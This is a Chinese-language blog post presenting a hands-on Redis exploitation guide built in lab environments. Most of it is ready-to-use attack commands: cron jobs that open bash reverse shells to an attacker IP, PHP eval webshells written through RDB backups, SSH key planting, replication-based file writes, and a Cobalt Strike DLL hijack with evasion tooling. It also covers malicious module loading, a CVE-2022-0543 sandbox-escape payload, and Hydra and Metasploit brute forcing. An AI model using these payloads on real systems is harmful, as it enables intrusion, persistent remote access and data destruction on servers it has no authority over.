Redis漏洞利用


0x01 简介

Redis 是一种开源、基于内存的数据结构存储,被用作数据库、缓存和消息代理。其在低版本(<3.2.0 ,从 3.2.0 版本开始,当 Redis 使用默认配置(绑定所有接口)并且没有任何密码来访问它时,它会进入一种称为保护模式的特殊模式。在这种模式下,Redis 只回复来自环回接口的查询,并回复从其他地址连接的客户端有错误,解释发生了什么以及如何正确配置 Redis。)上默认配置绑定在0.0.0.0:6379上且未设置密码验证,导致未授权访问,可结合其他命令组合获取权限。Redis安全性介绍 https://redis.io/topics/security

0x02 环境搭建

环境根据需要选择,Ubuntu/Centos/Windows下环境搭建可以参考下列记录:

0x2-1 Redis连接/管理工具

1.链接工具包括Redis-cli和打包好的二进制管理工具。Redis-cli是Redis的默认连接工具,安装完成后自带。其命令格式为redis-cli -h host -p port -a password command:

2.RedisClient 是一个带GUI的管理工具,有exe和Jar包两种可执行文件:

3.redis-desktop-manager 是开源的可视化工具,但是新版本的安装包需要付费:

4.AnotherRedisDesktopManager,这是另一个可视化管理工具,开源免费:

5.其他方式
其他还可以用NC工具来连接使用。甚至在未授权的情况下还可以用python的urllib2模块的http请求走私特性利用:

# -*- coding:utf-8 -*-
import urllib2
url = "http://127.0.0.1:6379?info HTTP/1.1\r\nflushall\r\nconfig set dir C:/\r\nconfig set dbfilename shell.php\r\nset 'webshell' '<?php phpinfo();exit(666);?>'\r\nsave\r\nQUIT\r\na:a\r\n\r\n"
htmlpage = urllib2.urlopen(url).read()
print(htmlpage)

0x2-2 Redis Install For Linux

在Linux上安装Redis,一般以源码编译方式安装,源码详见:Redis仓库 官网下载地址
环境搭建首先以源码编译安装的方式在Linux下搭建3.2.0来验证默认配置下的保护模式,然后安装3.0.7版本在默认配置下进行利用,最后安装4.x/5.x/6.x配置未授权进行利用。

1.先安装下3.2.0版本,观察在3.2.0的默认配置下是否如官网描述的安全性情况:

$ wget https://download.redis.io/releases/redis-3.2.0.tar.gz
$ tar xzf redis-3.2.0.tar.gz
$ cd redis-3.2.0
$ make
$ cd src && ./redis-server


这时候使用外部IP连接时果然会提示,所以在Linux版本>=3.2.0以上没有手动配置绑定在外部IP上的话是不能远程利用的(所以后面的需要在配置文件redis.conf中手动配置protected-mode nobind 0.0.0.0):

2.安装3.0.7(<3.2.0最近的就是这个了):

$ wget https://download.redis.io/releases/redis-3.0.7.tar.gz
$ tar xzf redis-3.0.7.tar.gz
$ cd redis-3.0.7
$ make
$ cd src && ./redis-server

3.Redis6.2.6安装

$ wget https://download.redis.io/releases/redis-6.2.6.tar.gz
$ tar xzf redis-6.2.6.tar.gz
$ cd redis-6.2.6
$ make
$ cd src && ./redis-server

修改默认配置文件,配置文件就在redis-6.2.6目录下,在配置里关闭保护模式并绑定IP(bind 0.0.0.0 ,protected-mode no):

加载配置文件启动./redis-server ../redis.conf

4.Docker 环境
vulhub

dockerhub-redis

docker pull redis:5-bullseye

0x2-3 Dockerhub-CentOS

使用Docker在CentOS容器内部署PHPStudy和Redis环境:

docker pull centos:latest
docker run -tid --name centos_1 -p 6379:6379 -p 18080:18080 -p 8081:8080 -p 8082:80 -p 9080:9080 -p 2222:22 --privileged=true centos:latest /sbin/init
yum install crontabs   #安装计划任务服务
systemctl enable crond #设为开机启动
systemctl start crond  #启动crond服务
systemctl status crond #查看状态
yum install wget
#下载编译好的redis-server到CentOS
wget http://xxx/redis-server && chmod +x redis-server && ./redis-server
#openssh
yum install openssh*
systemctl enable sshd 
systemctl start sshd
#phpstudy,内置了很多软件安装
yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
请用浏览器访问面板:
外网:http://171.212.137.205:9080/B3A929
内网:http://172.17.0.3:9080/B3A929
系统初始账号:admin
系统初始密码:hLQGQ6HGP9
#ssh -fgN -L 8080:localhost:80 localhost

0x2-4 Redis Install For Windows

Windows版本安装包的更新没有Linux那么及时,需要自行编译源码或者使用其他已编译的版本:Redis<2.4.5PHPStudy-Redis3.0.504Redis-x64-3.2.100.msiRedis 5.0.14
常用的PHPStudy-Redis3.0.504:

Redis-xx.msi安装后会以服务形式启动:

以服务形式启动的默认会加载redis.windows-service.conf,命令行启动的可以手动指定:

同样的修改配置文件以允许外部链接:

0x03 利用方式

0x3-1 密码爆破

Dict协议

dict://192.168.200.97:6379/auth:password

Metasploit模块

use auxiliary/scanner/redis/redis_login
set rohosts 192.168.11.133
run

Hydra

hydra -P redis_pass.txt redis://192.168.11.133

超级弱口令工具

0x3-2 信息获取

主要是利用一些命令获取信息,如获取当前连接信息(获取其他客户端IP): CLIENT LIST

探测文件是否存在(>2.6.0):EVAL "return dofile('C:/Users/yanghao/NTUSER.DAT')" 0

#检测 redis 服务是否启动
ping

#查看是否设置了密码验证
CONFIG get requirepass

#设置密码为runoob
AUTH "runoob"

#获取 Redis 服务器的各种信息和统计数值
INFO

#查询配置参数
CONFIG GET

#设置配置参数
CONFIG STE

#设置KEY"runoobkey"的值为redis 
SET runoobkey redis

#删除KEY"runoobkey"
DEL runoobkey

#在后台异步保存当前数据库的数据到磁盘
BGSAVE

#返回当前数据库的 key 的数量
DBSIZE

#让 Redis 服务崩溃
DEBUG SEGFAULT

#删除所有数据库的所有key
FLUSHALL

#删除当前数据库的所有key
FLUSHDB

#返回最近一次 Redis 成功将数据保存到磁盘上的时间,以 UNIX 时间戳格式表示
LASTSAVE

#设置远程主服务器
SLAVEOF host port / REPLICAOF host port 

#断开主从连接
SLAVEOF ON ONE

0x3-3 RDB备份文件利用

通过Redis持久化(数据集备份)方式进行利用,Redis持久化是指可以将数据集保存到本地磁盘中用于数据的备份和恢复,有RDB快照(snapshotting)和AOF(append-only-file)两种形式,RDB是把当前内存中的数据集快照写入磁盘。RDB方式利用原理是保存到磁盘时内容和文件名可控,可以写入恶意文件进行利用。但是该格式写入的数据会包含Redis备份标记存在脏数据(REDIS开头的二进制数据),这只能用于一些有容错性的文件利用。涉及到的Redis命令如下:

DBSIZE                   # 统计KEYS
flushall                  # 如果键过多导致备份过大,全部清空KEYS(危险)
CONFIG GET slave-read-only      # 查询只读配置
CONFIG SET slave-read-only no    # 关闭只读配置
CONFIG GET DIR              # 查询目录
CONFIG SET dir /path/www/html    # 修改备份目录  
CONFIG GET dbfilename         # 查询备份文件名,方便恢复
CONFIG SET dbfilename trojan.php  # 修改备份文件名为我们的shell名
SET trojan "<?php phpinfo(); ?>"  # 设置KEY和值
BGSAVE  / SAVE              # 异步/阻塞 保存当前数据库的数据到磁盘
DEL trojan                 #删除恶意键          
恢复:
CONFIG SET dir /usr/local/redis   #恢复原来的目录
CONFIG SET dbfilename dump.rdb   # 恢复原来的备份文件

0x3-3-1 Linux写SSH公钥

需要有对应用户目录的写入权限且ssh服务可以连接并开启了公钥登录,在Ubuntu上用Redis3.0.7测试
生成密钥对: ssh-keygen -t rsa

在id_rsa.pub文件中首尾加上换行(复制完记得改回去):

执行下列命令

config set dir /root/.ssh
config set dbfilename authorized_keys
set authorized_keys "id_rsa.pub的内容"
bgsave


查看靶机已经写入成功:

登录成功:

0x3-3-1 Linux写计划任务

Linux下操作计划任务需要root权限。计划任务介绍 crontab文件

/etc/crontab/etc/cron.*目录下的任务时间表(crontabs)文件是系统层次的,格式如下:

# 文件格式说明
# ┌──分钟(0 - 59)
# │ ┌──小时(0 - 23)
# │ │ ┌──日(1 - 31)
# │ │ │ ┌─月(1 - 12)
# │ │ │ │ ┌─星期(0 - 6,表示从周日到周六)
# │ │ │ │ │
# *  *  *  *  *  用户名 执行的命令

系统层次的任务时间表(crontabs)的任务经常会指定一个或以上的用户进行执行,因此任务时间表(crontabs)文件需要增加“用户名”字段。/etc/crontab 文件定期自动执行多个子目录中的项目。放置在不同目录中/etc/cron.*脚本按照下面给出的时间间隔运行。这些目录中的所有脚本都以 root 权限运行。

目录 时间 权限
/etc/cron.d 几分钟 root
/etc/cron.hourly 每小时的第一分钟 root
/etc/cron.daily 每天凌晨 3:05 至晚上 10.55 root
/etc/cron.weekly 自上次执行后 7 天后的上午 3:25 至晚上 11:10 之间 root
/etc/cron.monthly 自上次执行后一个月后的凌晨 3:45 至晚上 11:30 之间 root

/var/spool/cron/下的任务时间表(crontab)文件是用户层次的(但是只能root权限建),计划任务文件的名称与用户的用户名相同,格式如下:

# 文件格式说明
# ┌──分钟(0 - 59)
# │ ┌──小时(0 - 23)
# │ │ ┌──日(1 - 31)
# │ │ │ ┌─月(1 - 12)
# │ │ │ │ ┌─星期(0 - 6,表示从周日到周六)
# │ │ │ │ │
# *  *  *  *  * 被执行的命令

由于Ubuntu的计划任务不能容错,语法会进行严格检查:

所以写计划任务用到了Docker搭建CentOS环境来测试,Redis命令写入计划任务文件夹/etc/cron.d

config set dir /etc/cron.d
config set dbfilename x
set x "\n\nSHELL=/bin/bash\n\n* * * * * root bash -i >& /dev/tcp/192.168.11.1/6666 0>&1\n\n"
#set x "\n\n* * * * * ftp bash -i >& /dev/tcp/192.168.11.1/6666 0>&1\n\n"
save

写入 /var/spool/cron/

FLUSHALL
config set dir /var/spool/cron
config set dbfilename bin  # 以用户名命名文件
set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.11.1/6666 0>&1\n\n"
save

反弹回bin用户的shell:

0x3-3-2 Windows写启动项

通过文件写入启动项后,在系统重启后执行脚本,主要是写.bat .cmd等支持容错的文件执行其他命令(powershell、mshta、regsvr32等等)来利用(windows下换行\r\n):

# 这是系统启动项,如果权限不足时利用set dir或EVAL "return dofile"目录/文件探测方式去找用户启动目录
config set dir "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp" 
config set dbfilename info.bat
set x "\r\n\r\npowershell.exe -nop -w hidden -enc xxxxx\r\n\r\n"
save

0x3-3-3 Windows文件覆盖

在存在脏数据的情况下可以覆盖一些存在容错的脚本文件(如bat文件)进行利用。有时候目标服务器一直不会重启,可以通过覆盖一些bat文件等来增加触发几率,可以利用EVAL "return dofile('xxx') 0探测文件是否真的存在。PHPStudy环境中的bat文件:

通过Redis默认的dir参数可以知道绝对路径:

比如覆盖Apache下的check.bat脚本(当管理员使用该脚本时就会执行恶意命令):

config set dir "D:/phpstudy_pro/Extensions/Apache2.4.39/bin"
config set dbfilename check.bat
set x "\r\n\r\nhttpd.exe\r\ncmd /c calc\r\npause > nul\r\n"
save

0x3-3-4 WEB绝对路径写Wbeshell

如果Redis环境中同时存在WEB环境,在Redis权限比较高的情况下,可以尝试获取到绝对路径后写入Webshell,一般以二进制文件启动的程序是启动用户的权限,比较适合利用,以安装服务(yum install redis)等启动的权限会比较有限。

Windows+PHPStudy:

config set dir "D:/phpstudy_pro/WWW" 
config set dbfilename redisshell.php
set x "\r\n\r\n<?php eval($_GET[1]);?>\r\n\r\n"
save

在CentOS+PHPStudy下:

config set dir "/var/www/html" 
config set dbfilename redisshell.php
set x "\n\n<?php eval($_GET[1]);?>\n\n"
save

Centos + Apache下:

config set dir "/var/www/html" 
config set dbfilename redisshell.php
set x "\n\n<?php eval($_GET[1]);?>\n\n"
save


如果权限不足,无法写入:

0x3-4 AOF+配置重写

AOF(append-only-file)方式是通过保存Redis服务器所执行的写命令来记录数据库状态,Redis在需要时会根据配置文件的设置执行AOF文件中的命令进行数据恢复。由于不能设置appendfilename参数,不能AOF写任意后缀文件,但是可以通过该方式在Redis恢复数据时执行恶意利用命令。
在配置文件开启AOF后,Redis在重启后会执行其中的命令以恢复数据,通过重写配置文件可以达到Redis在重启后写入webshell的类似效果(save命令不会被aof记录),执行命令:

#每秒保存命令(先通过config get查询aof的配置,如果已经在默认位置存在aof文件,就使用该文件保存命令,后续输入的数据操作命令都会保存到该aof文件中,redis也会优先使用默认目录的aof进行数据恢复。)
#config set appendfsync everysec
#关闭只读
CONFIG set slave-read-only no      
#设置数据持久化保存目录
config set dir "D:/phpstudy_pro/WWW/Redis"   
#设置RDB文件名
config set dbfilename redisshell.php  
#设置一个key
set x "\r\n\r\n<?php eval($_GET[1]);?>\r\n\r\n"   
#设置aof增长重写幅度,1kb涨到1.5kb时(50%)就重写aof文件(利用算法去重,以压缩aof文件大小);
config set auto-aof-rewrite-percentage 50
#设置AOF文件最小重写的大小(字节)。第一次达到1mb就重写
config set auto-aof-rewrite-min-size 10000
#表示10秒内如果至少有 1 个 key 的值变化,则保存rdb
config set save "10 1"  
 #将内存中执行的命令保存到aof文件
 bgrewriteaof
 #开启AOF持久化
config set appendonly yes
 #重写配置
CONFIG REWRITE                       

由于在10秒内设置了key,触发保存规则,写入了PHP文件:

模拟管理员删除PHP文件、然后重启Redis、Redis工作后的键写入:

0x3-5 主从复制无损写文件

Redis>=2.8,支持主从复制(master/slave模式)功能,通过主从复制Redis-slave会将Redis-master的数据库文件同步到本地。攻击者可以伪造一个master,通过控制数据库文件可以在slave中写入无损的文件。利用命令来设置主服务器SLAVEOF host port / REPLICAOF host port(REPLICAOF > 5.0.0) ,执行命令后的Redis身份会切换为从服务器,然后通过与主服务器交互进行数据同步,但是会导致目标Redis数据丢失,可以使用redis-dump、redis-load等第三方工具进行数据备份导出,也可以在目标Redis上设置rdb、aof备份。利用 RedisWriteFile 脚本模拟master测试利用(需要网络互通,否则脚本会卡在从机连接位置):

0x3-5-1 Linux写SSH公钥

python3 RedisWriteFile.py --rhost 192.168.11.133 --rport 6379 --lhost 192.168.11.1 --lport 16379 --rpath "/root/.ssh" --rfile authorized_keys --lfile ./SSH/authorized_keys

0x3-5-2 Linux写计划任务

在Windows下编写Linux的计划任务文件注意\r\n换行要变成\n\n,Ubuntu计划任务文件尾行需要换行:

SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -i >& /dev/tcp/192.168.11.1/6667 0>&1

脚本执行命令:

python3 RedisWriteFile.py --rhost 192.168.11.133 --rport 6379 --lhost 192.168.11.1 --lport 16379 --rpath "/etc/cron.d" --rfile shell --lfile ./cron/cron.d

反弹成功:

0x3-5-3 Windows写启动项

python3 RedisWriteFile.py --rhost 192.168.200.97 --rport 6379 --lhost 192.168.200.138 --lport 16379 --rpath "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp" --rfile beacon.exe --lfile beacon.exe

0x3-5-4 Windows快捷方式覆盖

现在可以对一些常用位置的文件进行覆盖了,如桌面快捷方式、快速启动栏、软件程序、动态链接库等,但这些操作基本上都是需要管理员权限的。先测试桌面快捷方式的覆盖,使用文件探测方式探测是否存在常见的桌面快捷方式并确认好启动文件位置,一般在公用桌面存在一些:

EVAL "return dofile('C:/Users/Public/Desktop/Google Chrome.lnk')" 0
EVAL "return dofile('C:/Users/Public/Desktop/Notepad++.lnk')" 0

在本地建立快捷方式 ,根据在目标主机上获取的文件位置信息可以在快捷方式的目标中写入命令C:\Windows\System32\cmd.exe /c calc & "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" ,将运行方式设置为最小化:

执行脚本同步:

python3 RedisWriteFile.py --rhost 192.168.200.97 --rport 6379 --lhost 192.168.200.138 --lport 16379 --rpath "C:/Users/Public/Desktop" --rfile "Google Chrome.lnk" --lfile "Google Chrome.lnk"

在文件夹%AppData%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar中是任务栏中快速启动的快捷方式,也以对存在的快捷方式进行覆盖,但是测试新增文件并不会在任务栏显示:

0x3-5-5 Windows DLL劫持

开启Process Monitor监控,然后启动Redis,观察到Redis在其安装目录加载了dbghelp.dllCRYPTBASE.DLL两个DLL,这两个DLL本来是在系统目录中的,加载过程中存在了DLL加载顺序的劫持(DLL劫持相关介绍可以查看本站博文DLL劫持漏洞):

查看进程的架构为x64,作为漏洞利用的DLL也需要是相同架构:

生成完成后可以使用dumpbin /headers xxx.dll命令确认,或者在010 Editor下打开后查看PE后面的16进制,x64为8664,x86为014C(用记事本打开二进制文件查看字符串64位是PE d†,32 位是PE L),还可以使用exeinfope工具(吾爱破解工具包):

参考 Redis on Windows 出网利用探索 一文中,DLL劫持可以由 BGSAVE等命令主动触发,命令触发后会创建线程来执行保存数据。生成dbghelp.dll的劫持用到的是 Brownie项目进行DLL的免杀,Koppeling 项目进行DLL函数代理转发构建:
1.生成Cobalt Strike的x64的DLL:

2.使用Brownie项目中的AES.py脚本加密Bin输出logo.png:

3.在Brownie中配置与加密脚本中一致的AES-KEY。
4.DLL中使用CreateProcessCreateRemoteThreadAPI组合创建进程注入shellcode(如果将shellcoode注入到Redis自身中,basave是无法返回beacon的。因为是异步执行产生子进程进行数据保存,保存完成后进程退出,创建的线程没有存活时间,所以这一步会看到WinExec可以正常执行,beacon无法返回,查看日志也可以看到Background saving started by pid 2008记录。另外注入自身内存(如Redis启动时加载dbghelp.dll注入该进程),beacon的退出会导致Redis异常退出。所以在这一步的DLL编写中,会创建新进程rundll32.exe,并将shellcode注入其中执行):

5.生成项目DLL后使用Koppeling项目中的Python脚本来链接到转发DLL:

python3 PyClone.py AES.dll C:\windows\system32\dbghelp.dll -o dbghelp.dll


6.使用Redis主从同步脚本写入后执行bgsave触发DLL劫持:

python3 RedisWriteFile.py --rhost 192.168.200.97 --rport 6379 --lhost 192.168.200.138 --lport 16379 --rpath "D:/phpstudy_pro/Extensions/redis3.0.504" --rfile "dbghelp.dll" --lfile "dbghelp.dll"

0x03-4 Redis模块利用

在Redis4.0或更高版本中,支持了自定义模块,可以编写模块来执行命令、读写文件等操作,参考GitHub项目RedisModules-ExecuteCommand。利用主从复制写入文件后使用module load xx.so加载,通过模块扩展进行命令执行等操作,类似MySQL的UDF。操作命令如下:

config set dir /tmp
config set dbfilename system.so
slaveof 192.168.11.1 16379  
module load /tmp/exp.so
slaveof no one 
system.exec 'id'
#module  list #列出加载的模块
#module unload xxx #根据list列出的名称卸载模块

用RedisWriteFile脚本增加自动命令执行:

python3 RedisWriteFile.py --rhost 192.168.11.133 --rport 6379 --lhost 192.168.11.1 --lport 16379 --rpath "/tmp" --rfile system.so --lfile system.so

Windows版本用于执行命令的模块:RedisModules-ExecuteCommand-for-Windows

同时这位师傅已经开发出了完整的利用工具:RabR

0x03-5 CVE-2022-0543

CVE-2022-0543是一个在Debian和Debian衍生的 Linux发行版Redis沙盒逃逸漏洞,具体可见发现者博客。这并不是Redis的漏洞,在Debian及其衍生版本在发布源打包Redis时,存在一个没有处理的package对象,通过该对象的luaLoadLib方法加载外部Lua库,从而进行沙盒逃逸。使用vulhub搭建环境,通过POC验证:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

0x04 文末总结

通过整理Redis漏洞相关资料后总结:Redis在<3.2.0版本上默认配置上存在未授权漏洞,后续版本如果配置错误也会存在问题。针对未授权主要利用rdb数据库文件写入、主从复制写入和模块加载来利用,同时发现结合AOF配置可以进行自动写shell的方法。针对windows上dll劫持的利用也进行了深入分析,达到比较完美的利用。更是发现了GitHub上几位师傅开发的工具,利用起来非常方便。最后在使用脚本之前一定要注意数据的备份方便后续恢复。

0x05 参考链接

https://paper.seebug.org/975/
https://github.com/0671/RabR
https://www.secpulse.com/archives/5366.html
https://blog.xray.cool/post/learning-redis-security/
https://jkme.github.io/redis-on-windows-dll-hijack.html
https://yanghaoi.github.io/2021/10/07/ssrf-lou-dong-ji-chu/


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 上一篇
一次HSTS警告的排查 一次HSTS警告的排查
最近访问博客发现页面显示不正常,F12查看网络情况后发现cloudflare加载的静态资源出了问题,表现为浏览器出现HSTS警告,经过DNS的排除最终成功修复。
2021-11-03
下一篇 
SSRF漏洞基础 SSRF漏洞基础
通过Webgoat靶场和编写一些具有漏洞的PHP程序对SSRF漏洞的类型、原理、协议使用、限制绕过、攻击其他组件、常用的利用工具和方法等进行记录。
2021-10-07
  目录